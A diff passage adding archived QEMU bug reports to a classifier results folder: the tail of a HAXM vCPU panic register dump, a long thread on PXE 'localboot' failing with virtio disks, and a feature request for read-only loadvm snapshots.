2014 VMX_APIC_ACCESS_PAGE: 0 +haxm_warning: 201a VMX_EPTP: 1fb1f001e +haxm_warning: 482e VMX_PREEMPTION_TIMER: 0 +haxm_warning: 4400 VMX_INSTRUCTION_ERROR_CODE: 0 +haxm_warning: 4402 VM_EXIT_INFO_REASON: 2 +haxm_warning: 4404 VM_EXIT_INFO_INTERRUPT_INFO: 0 +haxm_warning: 4406 VM_EXIT_INFO_EXCEPTION_ERROR_CODE: 0 +haxm_warning: 4408 VM_EXIT_INFO_IDT_VECTORING: 0 +haxm_warning: 440a VM_EXIT_INFO_IDT_VECTORING_ERROR_CODE: 0 +haxm_warning: 440c VM_EXIT_INFO_INSTRUCTION_LENGTH: 1 +haxm_warning: 440e VM_EXIT_INFO_INSTRUCTION_INFO: 0 +haxm_warning: 6400 VM_EXIT_INFO_QUALIFICATION: 0 +haxm_warning: 6402 VM_EXIT_INFO_IO_ECX: 60 +haxm_warning: 6404 VM_EXIT_INFO_IO_ESI: 1 +haxm_warning: 6406 VM_EXIT_INFO_IO_EDI: 1 +haxm_warning: 6408 VM_EXIT_INFO_IO_EIP: 191f405c +haxm_warning: 640a VM_EXIT_INFO_GUEST_LINEAR_ADDRESS: 0 +haxm_warning: 2400 VM_EXIT_INFO_GUEST_PHYSICAL_ADDRESS: 1ea07ff0 +haxm_warning: 6c16 HOST_RIP: fffff80602e01a73 +haxm_warning: 6c14 HOST_RSP: ffff9b0aae6b74e0 +haxm_warning: 6c00 HOST_CR0: 80050033 +haxm_warning: 6c02 HOST_CR3: 12f527002 +haxm_warning: 6c04 HOST_CR4: 372678 +haxm_warning: 0c02 HOST_CS_SELECTOR: 10 +haxm_warning: 0c06 HOST_DS_SELECTOR: 28 +haxm_warning: 0c00 HOST_ES_SELECTOR: 28 +haxm_warning: 0c08 HOST_FS_SELECTOR: 0 +haxm_warning: 0c0a HOST_GS_SELECTOR: 0 +haxm_warning: 0c04 HOST_SS_SELECTOR: 18 +haxm_warning: 0c0c HOST_TR_SELECTOR: 40 +haxm_warning: 6c06 HOST_FS_BASE: 0 +haxm_warning: 6c08 HOST_GS_BASE: ffffad001d939000 +haxm_warning: 6c0a HOST_TR_BASE: ffffad001d5f7000 +haxm_warning: 6c0c HOST_GDTR_BASE: ffffad001d5f8fb0 +haxm_warning: 6c0e HOST_IDTR_BASE: ffffad001d5f6000 +haxm_warning: 4c00 HOST_SYSENTER_CS: 0 +haxm_warning: 6c10 HOST_SYSENTER_ESP: 0 +haxm_warning: 6c12 HOST_SYSENTER_EIP: 0 +haxm_warning: 681e GUEST_RIP: fffff807167c9370 +haxm_warning: 6820 GUEST_RFLAGS: 10082 +haxm_warning: 681c GUEST_RSP: fffff8071aa67708 +haxm_warning: 6800 GUEST_CR0: 80050031 +haxm_warning: 6802 GUEST_CR3: 1aa000 +haxm_warning: 6804 GUEST_CR4: 26e0 +haxm_warning: 0800 GUEST_ES_SELECTOR: 2b +haxm_warning: 0802 GUEST_CS_SELECTOR: 10 +haxm_warning: 0804 GUEST_SS_SELECTOR: 0 +haxm_warning: 0806 GUEST_DS_SELECTOR: 2b +haxm_warning: 0808 GUEST_FS_SELECTOR: 53 +haxm_warning: 080a GUEST_GS_SELECTOR: 2b +haxm_warning: 080c GUEST_LDTR_SELECTOR: 0 +haxm_warning: 080e GUEST_TR_SELECTOR: 40 +haxm_warning: 4814 GUEST_ES_AR: c0f3 +haxm_warning: 4816 GUEST_CS_AR: 209b +haxm_warning: 4818 GUEST_SS_AR: 1c000 +haxm_warning: 481a GUEST_DS_AR: c0f3 +haxm_warning: 481c GUEST_FS_AR: 40f3 +haxm_warning: 481e GUEST_GS_AR: c0f3 +haxm_warning: 4820 GUEST_LDTR_AR: 1c000 +haxm_warning: 4822 GUEST_TR_AR: 8b +haxm_warning: 6806 GUEST_ES_BASE: 0 +haxm_warning: 6808 GUEST_CS_BASE: 0 +haxm_warning: 680a GUEST_SS_BASE: 0 +haxm_warning: 680c GUEST_DS_BASE: 0 +haxm_warning: 680e GUEST_FS_BASE: 0 +haxm_warning: 6810 GUEST_GS_BASE: fffff807128d3000 +haxm_warning: 6812 GUEST_LDTR_BASE: 0 +haxm_warning: 6814 GUEST_TR_BASE: fffff8071aa5c000 +haxm_warning: 6816 GUEST_GDTR_BASE: fffff8071aa5dfb0 +haxm_warning: 6818 GUEST_IDTR_BASE: fffff8071aa5b000 +haxm_warning: 4800 GUEST_ES_LIMIT: ffffffff +haxm_warning: 4802 GUEST_CS_LIMIT: 0 +haxm_warning: 4804 GUEST_SS_LIMIT: ffffffff +haxm_warning: 4806 GUEST_DS_LIMIT: ffffffff +haxm_warning: 4808 GUEST_FS_LIMIT: 3c00 +haxm_warning: 480a GUEST_GS_LIMIT: ffffffff +haxm_warning: 480c GUEST_LDTR_LIMIT: ffffffff +haxm_warning: 480e GUEST_TR_LIMIT: 67 +haxm_warning: 4810 GUEST_GDTR_LIMIT: 57 +haxm_warning: 4812 GUEST_IDTR_LIMIT: fff +haxm_warning: 2800 GUEST_VMCS_LINK_PTR: ffffffffffffffff +haxm_warning: 2802 GUEST_DEBUGCTL: 0 +haxm_warning: 2804 GUEST_PAT: 0 +haxm_warning: 2806 GUEST_EFER: d01 +haxm_warning: 2808 GUEST_PERF_GLOBAL_CTRL: 0 +haxm_warning: 280a GUEST_PDPTE0: 3380050011 +haxm_warning: 280c GUEST_PDPTE1: 4000 +haxm_warning: 280e GUEST_PDPTE2: 3380050011 +haxm_warning: 2810 GUEST_PDPTE3: 3380050011 +haxm_warning: 681a GUEST_DR7: 400 +haxm_warning: 6822 GUEST_PENDING_DBE: 0 +haxm_warning: 482a GUEST_SYSENTER_CS: 0 +haxm_warning: 6824 GUEST_SYSENTER_ESP: 0 +haxm_warning: 6826 GUEST_SYSENTER_EIP: 0 +haxm_warning: 4828 GUEST_SMBASE: 0 +haxm_warning: 4824 GUEST_INTERRUPTIBILITY: 0 +haxm_warning: 4826 GUEST_ACTIVITY_STATE: 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: vcpu has panicked, id:0 +haxm_error: log_host_cr4_vmxe: 0 +haxm_error: log_host_cr4 0 +haxm_error: log_vmxon_res 0 +haxm_error: log_vmxon_addr 26e7ad000 +haxm_error: log_vmxon_err_type1 0 +haxm_error: log_vmxon_err_type2 0 +haxm_error: log_vmxon_err_type3 0 +haxm_error: log_vmclear_err 0 +haxm_error: log_vmptrld_err 0 +haxm_error: log_vmoff_no 0 +haxm_error: log_vmxoff_res 0 +haxm_error: ...........hax_teardown_vm +` + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/logs./551545 b/results/classifier/deepseek-1/output/logs./551545 new file mode 100644 index 00000000..9fe10979 --- /dev/null +++ b/results/classifier/deepseek-1/output/logs./551545 @@ -0,0 +1,488 @@ + +PXE netboot not booting localboot from virtio-disk + +Binary package hint: qemu-kvm + +lsb_release -rd +Description: Ubuntu lucid (development branch) +Release: 10.04 + +apt-cache policy qemu-kvm +qemu-kvm: + Installiert: 0.12.3+noroms-0ubuntu3 + Kandidat: 0.12.3+noroms-0ubuntu3 + Versions-Tabelle: + *** 0.12.3+noroms-0ubuntu3 0 + 500 http://intranet/ubuntu/ lucid/main Packages + 100 /var/lib/dpkg/status + +Description of the problem: + +Starting a guest like this: + +vdekvm \ + -m 256M \ + -cpu host \ + -smp 1 \ + -name karmic \ + -boot order=nc \ + -drive file=/dev/vg01/test,if=virtio,boot=on,cache=none \ + -net nic,vlan=0,macaddr=00:2f:8d:b6:cf:d0,model=virtio \ + -net vde,vlan=0,sock=/var/run/vde2/vde0.ctl \ + -watchdog i6300esb \ + -vnc :0 \ + -serial telnet:localhost:23,server,nowait \ + -monitor tcp:127.0.0.1:12000,server,nowait \ + -runas kvmguest + +On "telnet localhost" you can see that the following boot-menu appears: + +- Boot Menu - +============= + +local +rescue + +It is loaded from this pxelinux.cfg/default file: + +SERIAL 0 9600n8 + +DISPLAY boot.txt + +TIMEOUT 120 +DEFAULT local +PROMPT 1 + +LABEL local + localboot 0 + +LABEL rescue + kernel lucid + append initrd=lucid-initrd.gz rescue/enable=true -- quiet console=ttyS0,9600n8 + + +After the timeout, the guest tries to boot, but fails and reloads the boot menu. This is an endless loop, until I break it or choose the rescue menu entry. + +I would expect that it boots from first virtio-disk + +ProblemType: Bug +DistroRelease: Ubuntu 10.04 +Package: qemu-kvm 0.12.3+noroms-0ubuntu3 +ProcVersionSignature: Ubuntu 2.6.32-18.27-generic 2.6.32.10+drm33.1 +Uname: Linux 2.6.32-18-generic x86_64 +Architecture: amd64 +Date: Tue Mar 30 11:40:59 2010 +ExecutablePath: /usr/bin/qemu-system-x86_64 +MachineType: MICRO-STAR INTERANTIONAL CO.,LTD MS-7368 +ProcCmdLine: root=UUID=0d27271c-feaa-40d9-bbbd-baff4ca1d3cc rw init=/bin/bash +ProcEnviron: + LANG=de_DE.UTF-8 + SHELL=/bin/bash +SourcePackage: qemu-kvm +dmi.bios.date: 10/31/2007 +dmi.bios.vendor: American Megatrends Inc. +dmi.bios.version: V1.5B2 +dmi.board.asset.tag: To Be Filled By O.E.M. +dmi.board.name: MS-7368 +dmi.board.vendor: MICRO-STAR INTERANTIONAL CO.,LTD +dmi.board.version: 1.0 +dmi.chassis.asset.tag: To Be Filled By O.E.M. +dmi.chassis.type: 3 +dmi.chassis.vendor: To Be Filled By O.E.M. +dmi.chassis.version: To Be Filled By O.E.M. +dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrV1.5B2:bd10/31/2007:svnMICRO-STARINTERANTIONALCO.,LTD:pnMS-7368:pvr1.0:rvnMICRO-STARINTERANTIONALCO.,LTD:rnMS-7368:rvr1.0:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: +dmi.product.name: MS-7368 +dmi.product.version: 1.0 +dmi.sys.vendor: MICRO-STAR INTERANTIONAL CO.,LTD + + + +According to your command line: + +-boot order=nc \ + + +I don't think that this include a local hard disk as part of the list of devices to be considered for booting. + +Directly from the manpage: + +-boot [order=drives][,once=drives][,menu=on|off] + Specify boot order drives as a string of drive letters. Valid drive letters depend on the target achitecture. The x86 PC uses: a, b (floppy 1 and + 2), c (first hard disk), d (first CD-ROM), n-p (Etherboot from network adapter 1-4), hard disk boot is the default. To apply a particular boot + order only on the first startup, specify it via once. + + Interactive boot menus/prompts can be enabled via menu=on as far as firmware/BIOS supports them. The default is non-interactive boot. + + # try to boot from network first, then from hard disk + qemu -boot order=nc + +So this should work?? Don't know. Even does not work with not specifying if=virtio. + +By the way: PXELinux ignores timeout, if prompt is set. So this seems to be a second bug (this worked on karmic). + +Also, vde networking will not work with Lucid's kvm. To use vde +networking, we'd need to build qemu-kvm with libvde2, which we cannot +do because it's in Universe. + +Please consider using one of the other more secure, officially +supported networking models: + * https://help.ubuntu.com/community/KVM/Networking + +VDE is very great. I use it since many months and had NEVER any problems. There is no better solution than cde. And I do not understand, why you do not put it into main repo. Sayin: insecure is not a good answer without telling where. + +So does it mean, the wrapper vdekvm will be kicked in Lucid? That would break all servers, which used it! + +this bug has nothing to do with VDE. It seems that ubuntu's current version of libvirt/kvm-qemu does not implement boot ordering correctly. + +this seems to be present in fedora as well: https://bugzilla.redhat.com/show_bug.cgi?id=472236 + +Hi, + +could you test whether you still have this problem with lucid-proposed? + +lucid-updates and lucid-proposed ship the same package and from the changelog I cannot see what change would be related to this big. + +I've just confirmed by testing that the bug still applies to the most uptodate packages that are available for lucid. + +Still a problem in Lucid, making automatic installation and deployment of VMs (using Cobbler or Foreman) pretty much impossible without manual intervention. This, of course, defeats the whole point of automatic installation and deployment. + +This issue should be fixed in the qemu-kvm version included in precise. + +Since it has been fixed in Precise ... I assume this has also been fixed in upstream QEMU? Or is there still anything left to do here? + +There hasn't been a reply to my question in the last comment within months, so I assume this has been fixed in upstream, too. Closing this ticket now... + +Description of problem: + +All QA automated systems rely on PXE local booting for proper provisioning and testing. All systems are configured in the BIOS to boot PXE first. + +When we want to provision the systems, we modify the PXE target (using RHTS or now cobbler). + +When we want to boot locally to run tests, we set the default PXE target to "local". + +KVM guests do no honor the PXE "local" target. It seems that once you boot PXE, KVM doesn't attach the already installed disks. + +Version-Release number of selected component (if applicable): + +kernel-2.6.27.5-113.fc10.x86_64 +libvirt-0.4.6-3.fc10.x86_64 +kvm-74-5.fc10.x86_64 + +How reproducible: + +Every time. + +Steps to Reproduce: +1. Set KVM guest PXE target to "Network Boot" using virt-manager +2. Boot the KVM guest. +3. In the PXE menu, type "local" + +Actual results: + + * See attached screenshot, xml, and libvirt logfile. + +Expected results: + +The system should behave as a "real" system behaves and boot the local disk. + +Additional info: + + * This makes adding KVM guests into test automation a bit funky since we'll need to do a workaround which involves: + +When you want to reprovision a guest: + 1) virsh destroy $GUEST + 2) virsh undefine $GUEST + 3) Edit xml to boot off network + 4) virsh define $XMLFILE + 5) virsh start $GUEST + +We'd then need to repeat to have it boot to local disk. + +Created attachment 324048 +Screenshot + +Created attachment 324049 +Guest XML configuration + +Created attachment 324050 +/var/log/libvirt/qemu/vguest2.log + +Being able to boot KVM-via-PXE statefully would be highly useful for my testing in Cobbler land as well, and would help with virtual deployment (and re-deployment) of non-Linux guests. + +The XML only specifies a single device for booting. Can you try setting multiple devices + + <boot dev='network'/> + <boot dev='cdrom'/> + <boot dev='hd'/> + +Which should tell the BIOS to try to boot network, then cdrom, then harddisk in that order. + +Using ... + + <os> + <type arch='x86_64' machine='pc'>hvm</type> + <boot dev='network'/> + <boot dev='cdrom'/> + <boot dev='hd'/> + </os> + +Results in ... + +# cat /var/log/libvirt/qemu/vguest2.log +/usr/bin/qemu-kvm -S -M pc -m 1024 -smp 2 -name vguest2 -monitor pty -boot ndc -drive file=/dev/VolGroup00/vguest2,if=virtio,index=0,boot=on -net nic,macaddr=54:52:00:29:89:e5,vlan=0,model=virtio -net tap,fd=16,script=,vlan=0,ifname=vnet0 -serial pty -parallel none -usb -vnc 127.0.0.1:1 -k en-us +char device redirected to /dev/pts/3 +char device redirected to /dev/pts/4 +Too many option ROMS + +Amy I doing that right? + +Wow! I didn't know you could specify multiple boot devs. Using + + <boot dev='network'/> + <boot dev='hd'/> + +And then pressing 'q' to not boot from networking successfully boots from disk. James, try just the above and see if it does the job for you. + +Cole, what we are looking for is when the bootloader is fed the following PXE configuration it should boot from the local disk: + +DEFAULT local +PROMPT 0 +TIMEOUT 0 +TOTALTIMEOUT 0 +ONTIMEOUT local + +LABEL local + LOCALBOOT 0 + + +This will enable us to create a KVM "empty shell" that we can assign what OS it is running just based on changing the PXE configuration. + +Pressing "q" would be interactive and less useful -- you'd have to catch it really really quickly or you'd be reinstalling. + +(In reply to comment #7) +> Wow! I didn't know you could specify multiple boot devs. Using +> +> <boot dev='network'/> +> <boot dev='hd'/> +> +> James, try just the above and see if it does the job for you. + +With those options in my XML ... my guest fails to start. + +# virsh dumpxml vguest2 | grep -C2 "<boot" + <os> + <type arch='x86_64' machine='pc'>hvm</type> + <boot dev='network'/> + <boot dev='hd'/> + </os> + <features> + +# virsh start vguest2 +libvir: QEMU error : internal error QEMU quit during monitor startup +error: Failed to start domain vguest2 + +# tail /var/log/libvirt/qemu/vguest2.log +/usr/bin/qemu-kvm -S -M pc -m 1024 -smp 2 -name vguest2 -monitor pty -boot nc -drive file=/dev/VolGroup00/vguest2,if=virtio,index=0,boot=on -net nic,macaddr=54:52:00:29:89:e5,vlan=0,model=virtio -net tap,fd=12,script=,vlan=0,ifname=vnet0 -serial pty -parallel none -usb -vnc 127.0.0.1:1 -k en-us +char device redirected to /dev/pts/3 +char device redirected to /dev/pts/4 +Too many option ROMS + +What am I missing? + +jlaska: hmm, works on F9. sounds like a bug. + +mdehaan: you may just have to test it and see what happens. I let the guest boot to our pxe server which doesn't seem to have an explicit 'local' option. Hitting enter without a selection seems to imply local, but qemu then prompts for the boot from (n)etwork or (q)uit. + +Maybe qemu is smart enough to notice a 'boot from local' directive from the PXE server, and won't prompt. You'll just have to test it since I'm not sure how to go about it. + +Cole, that's what james was trying to do above when he filed the bug, and I watched it happen. + +""" +KVM guests do no honor the PXE "local" target. It seems that once you boot +PXE, KVM doesn't attach the already installed disks. +""" + +What specifically should I test? + +I just wasn't sure if: + +not entering a selection on my pxe server & pressing enter == deliberately selecting 'boot from local' on another pxe server == having the pxe server tell the machine/VM 'hey, boot from local' (which is what I understand RHTS does). + +If those are all equivalent, then it sounds like qemu needs fixing to not prompt based on the pxe request. + +My take on this bug is that the F10 kvm/libvirt doesn't let me specify multiple <boot> options. If that were fixed, I suspect it would open the door for PXE "local" booting. + +Yes, this is a bug in KVM. The trouble is the new -drive flag and its boot=on syntax is broken wrt to normal -boot arg. We need to use boot=on for VirtIO based disks, but when we do that, then this conflicts with the option ROM for PXE boot. This is a big mess and I'm not sure how to fix it, but it certainly needs addressing somehow, because this is a valid use case + + +This bug appears to have been reported against 'rawhide' during the Fedora 10 development cycle. +Changing version to '10'. + +More information and reason for this action is here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + +James, + +Do you still have this problem if you switch from virtio to e1000? + +You should use this XML excerpt: + <boot dev='network'/> + <boot dev='hd'/> + +Created attachment 324720 +vguest1.xml (w/ multiple <boot> and dev="virtio") + +Glauber, + +Yeah, I still seem to have this problem using virtio. + +# virsh start vguest1 +libvir: QEMU error : internal error QEMU quit during monitor startup +error: Failed to start domain vguest1 + +# cat /var/log/libvirt/qemu/vguest1.log +/usr/bin/qemu-kvm -S -M pc -m 1024 -smp 2 -name vguest1 -monitor pty -boot nc -drive file=/dev/VolGroup00/vguest1,if=ide,index=0,boot=on -drive file=,if=ide,media=cdrom,index=2 -net nic,macaddr=54:52:00:55:c8:17,vlan=0,model=virtio -net tap,fd=14,script=,vlan=0,ifname=vnet2 -serial pty -parallel none -usb -vnc 127.0.0.1:3 -k en-us +char device redirected to /dev/pts/8 +char device redirected to /dev/pts/9 +Too many option ROMS + +# virsh dumpxml vguest1 + <!-- see attachment --> + +Created attachment 324721 +vguest1.xml (w/ multiple <boot> and dev="e1000") + +Now with dev="e1000" + +# virsh start vguest1 +libvir: QEMU error : internal error QEMU quit during monitor startup +error: Failed to start domain vguest1 + +# cat /var/log/libvirt/qemu/vguest1.log +/usr/bin/qemu-kvm -S -M pc -m 1024 -smp 2 -name vguest1 -monitor pty -boot nc -drive file=/dev/VolGroup00/vguest1,if=ide,index=0,boot=on -drive file=,if=ide,media=cdrom,index=2 -net nic,macaddr=54:52:00:55:c8:17,vlan=0,model=e1000 -net tap,fd=19,script=,vlan=0,ifname=vnet2 -serial pty -parallel none -usb -vnc 127.0.0.1:3 -k en-us +char device redirected to /dev/pts/8 +char device redirected to /dev/pts/9 +Too many option ROMS + +I believe the problem itself is very simple (although I don't really know a good solution without thinking a little bit...) + +there's only 64k of memory available for option roms, and the virtio rom that ships with our packages is... 64k in size!. So after loading the virtio PXE option rom, we're unable to keep loading option roms, in particular, the extboot option rom we need to kick out virtio boots. ;-( + +James said he could boot with an older rom I handled to him, which is 32k in size, +and the problem os "Too many option ROMS" went away. + +However, he was still unable to boot from the local target, despite of the fact that he could do a local boot by pressing "q" + +So we really have two problems in here: + +The first one is that we cannot boot from our current virtio ROM, because it is too large. We can try to quick fix it by building smaller images. This should be a new BZ agains the etherboot package. + +And the other, the fact that roms do not honor the local target. For that, I believe we can keep using this BZ. + +(In reply to comment #19) +> So we really have two problems in here: +> +> The first one is that we cannot boot from our current virtio ROM, because it is +> too large. We can try to quick fix it by building smaller images. This should +> be a new BZ agains the etherboot package. + +Filed this as bug#473137 + +Apparently this is still a problem with gPXE: + +http://www.redhat.com/archives/fedora-virt/2009-October/msg00052.html + +Glauber - please take a look + +This package has changed ownership in the Fedora Package Database. Reassigning to the new owner of this component. + +This package has changed ownership in the Fedora Package Database. Reassigning to the new owner of this component. + + +This bug appears to have been reported against 'rawhide' during the Fedora 13 development cycle. +Changing version to '13'. + +More information and reason for this action is here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + +Still problem on Fedora 13 final + updates testing. Any change to fix this? + +I have some success to boot using PXE by booting manually. May be there is too short default timeout for dhcp request. Try this: + +1. start virtual machine +2. when you are prompted to press CTRL-B do it +3. try to get dhcp address running this command: dhcp net0 +4. repeat step 3 until you do not get address (reply "ok") +5. boot using command: autoboot + +If you run "dhcp net0" command immediatelly, it will fail fist time, but second run gets IP address. Then I am able to boot from PXE. + +I think local boot works well on current fedora 13 stable. Do you still have this problem? + +But another problem described here (timeout to boot from PXE) is still present. Should I open a new bug for this? Looks like it's enough to increase PXE network timeout by aprox. 3 seconds. Most simpler workaround is to select "Send Key -> Ctrl-Alt-Del" from menu immediatelly (or after 1-3 seconds) after guest start. + +I'm still having this dhcp timeout issue on f13. + +Opened https://bugzilla.redhat.com/show_bug.cgi?id=638735 to track it. + + +This message is a reminder that Fedora 13 is nearing its end of life. +Approximately 30 (thirty) days from now Fedora will stop maintaining +and issuing updates for Fedora 13. It is Fedora's policy to close all +bug reports from releases that are no longer maintained. At that time +this bug will be closed as WONTFIX if it remains open with a Fedora +'version' of '13'. + +Package Maintainer: If you wish for this bug to remain open because you +plan to fix it in a currently maintained version, simply change the 'version' +to a later Fedora version prior to Fedora 13's end of life. + +Bug Reporter: Thank you for reporting this issue and we are sorry that +we may not be able to fix it before Fedora 13 is end of life. If you +would still like to see this bug fixed and are able to reproduce it +against a later version of Fedora please change the 'version' of this +bug to the applicable version. If you are unable to change the version, +please add a comment here and someone will do it for you. + +Although we aim to fix as many bugs as possible during every release's +lifetime, sometimes those efforts are overtaken by events. Often a +more recent Fedora release includes newer upstream software that fixes +bugs or makes them obsolete. + +The process we are following is described here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + + +Fedora 13 changed to end-of-life (EOL) status on 2011-06-25. Fedora 13 is +no longer maintained, which means that it will not receive any further +security or bug fix updates. As a result we are closing this bug. + +If you can reproduce this bug against a currently maintained version of +Fedora please feel free to reopen this bug against that version. + +Thank you for reporting this bug and we are sorry it could not be fixed. + +Reopen, bump to rawhide, I haven't been able to test this recently. + +This package has changed ownership in the Fedora Package Database. Reassigning to the new owner of this component. + +With virt-manager on F17 this works for me, you just need to make sure that both network and harddrive boot options are selected, otherwise the disks aren't marked as bootable and things probably won't work. + +Closing as WORKSFORME, please reopen if anyone still has issues on F17+ + +Created attachment 600144 +no prompt + +it seems it's not even prompting for ipxe now. I think something got hardcoded into the rom by accident. + +Can somebody verify? + +Renich, given how old and long this bug report is, let's keep it closed. If you are still experiencing a similar issue, please open a new bug report with the following info: + +Fedora version +qemu version +qemu command line (if using libvirt, /var/log/libvirt/qemu/$vmname.log) + + +At least on F17, PXE and boot from local is working fine for me. + diff --git a/results/classifier/deepseek-1/output/management./1184089 b/results/classifier/deepseek-1/output/management./1184089 new file mode 100644 index 00000000..02aa7961 --- /dev/null +++ b/results/classifier/deepseek-1/output/management./1184089 @@ -0,0 +1,96 @@ + +[Feature request] loadvm snapshot as read-only + +There are many ways to take and manage snapshots in QEMU, but one main feature that's missing is the ability to 'loadvm' a LIVE snapshot and have all future changes redirected to a temporary file. This would effectively be combining the -loadvm and -snapshot switches and make the snapshot read-only. With this feature, users would be provided a "sandbox" and be able to start and restart the same live snapshot without corrupting the image in doing so. + +I found a lot of discussion about this topic on the mailing list years ago, including some patch submissions, but none of the conversations panned out. + +http://lists.gnu.org/archive/html/qemu-discuss/2011-10/msg00011.html +http://copilotco.com/mail-archives/qemu.2008/msg00072.html +http://web.archiveorange.com/archive/v/1XS1vcusGInZKG2e0ImX +http://marc.info/?l=qemu-devel&m=117191084713590 + +What would it take for this feature to be added, and can we use the patches submitted by Eddie Kohler to enable this feature? + +On Sat, May 25, 2013 at 08:29:11AM -0000, Michael Coppola wrote: +> There are many ways to take and manage snapshots in QEMU, but one main +> feature that's missing is the ability to 'loadvm' a LIVE snapshot and +> have all future changes redirected to a temporary file. This would +> effectively be combining the -loadvm and -snapshot switches and make the +> snapshot read-only. With this feature, users would be provided a +> "sandbox" and be able to start and restart the same live snapshot +> without corrupting the image in doing so. + +This should be possible soon. Wenchao Xia is working on new monitor +commands that allow you to combine internal snapshots (loadvm/savevm) +with external snapshots (blockdev-snapshot-sync). + +You would submit a QMP 'transaction' command that specifies a loadvm +followed by a blockdev-snapshot-sync. This operation is atomic. + +Note that internal snapshots do not destroy the snapshot. Therefore, +when you loadvm an internal snapshot and write to the disk, you are not +modifying the internal snapshot only the current state of the disk. You +can loadvm it again later. + +Stefan + + +Awesome, looking forward to it. I may be misunderstanding what's happening under the hood, but at least for me, calling 'loadvm' on a single snapshot over and over seems to work the first few times and then immediately blue screens the WinXP guest with PFN_LIST_CORRUPT. I was under the assumption that all runtime modifications were being written back to the image, effectively "corrupting" something (whether it was changes to the snapshot or the "backing image" causing things to break). + +Until then, I've seemed to have found a workaround for the feature itself. Instead of creating a snapshot with 'savevm', I can start the VM with -snapshot and then call: + +migrate "exec: gzip -c > snapshot.gz" + +in QMP and it saves the live image to a compressed file. Make sure it's completed migration before exiting with "info migrate". Subsequently loading the snapshot with: + +qemu-* <whatever flags> -incoming "exec: gzip -c -d snapshot.gz" -snapshot + +will load the live snapshot and redirect all runtime modifications to a temp file. http://www.linux-kvm.org/page/Migration says not to use -snapshot, but who follows the rules anyways? ;) It seems to work so far and things haven't exploded yet. Running md5sum on the qcow2 image and gzip snapshot before and after shows no changes to either files. + +On Mon, May 27, 2013 at 10:42:17PM -0000, Michael Coppola wrote: +> Awesome, looking forward to it. I may be misunderstanding what's +> happening under the hood, but at least for me, calling 'loadvm' on a +> single snapshot over and over seems to work the first few times and then +> immediately blue screens the WinXP guest with PFN_LIST_CORRUPT. I was +> under the assumption that all runtime modifications were being written +> back to the image, effectively "corrupting" something (whether it was +> changes to the snapshot or the "backing image" causing things to break). + +savevm/loadvm does not use backing images. It relies on internal +snapshot which are stored inside the existing qcow2 image file. + +If you *are* using backing images then you're right - modifying the +backing image is likely to trigger weird guest behavior. + +> Until then, I've seemed to have found a workaround for the feature +> itself. Instead of creating a snapshot with 'savevm', I can start the +> VM with -snapshot and then call: +> +> migrate "exec: gzip -c > snapshot.gz" +> +> in QMP and it saves the live image to a compressed file. Make sure it's +> completed migration before exiting with "info migrate". Subsequently +> loading the snapshot with: +> +> qemu-* <whatever flags> -incoming "exec: gzip -c -d snapshot.gz" +> -snapshot +> +> will load the live snapshot and redirect all runtime modifications to a +> temp file. http://www.linux-kvm.org/page/Migration says not to use +> -snapshot, but who follows the rules anyways? ;) It seems to work so +> far and things haven't exploded yet. Running md5sum on the qcow2 image +> and gzip snapshot before and after shows no changes to either files. + +The reason that -snapshot isn't used together with migration is because +the disk state will be discarded and not migrated. + +Stefan + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + 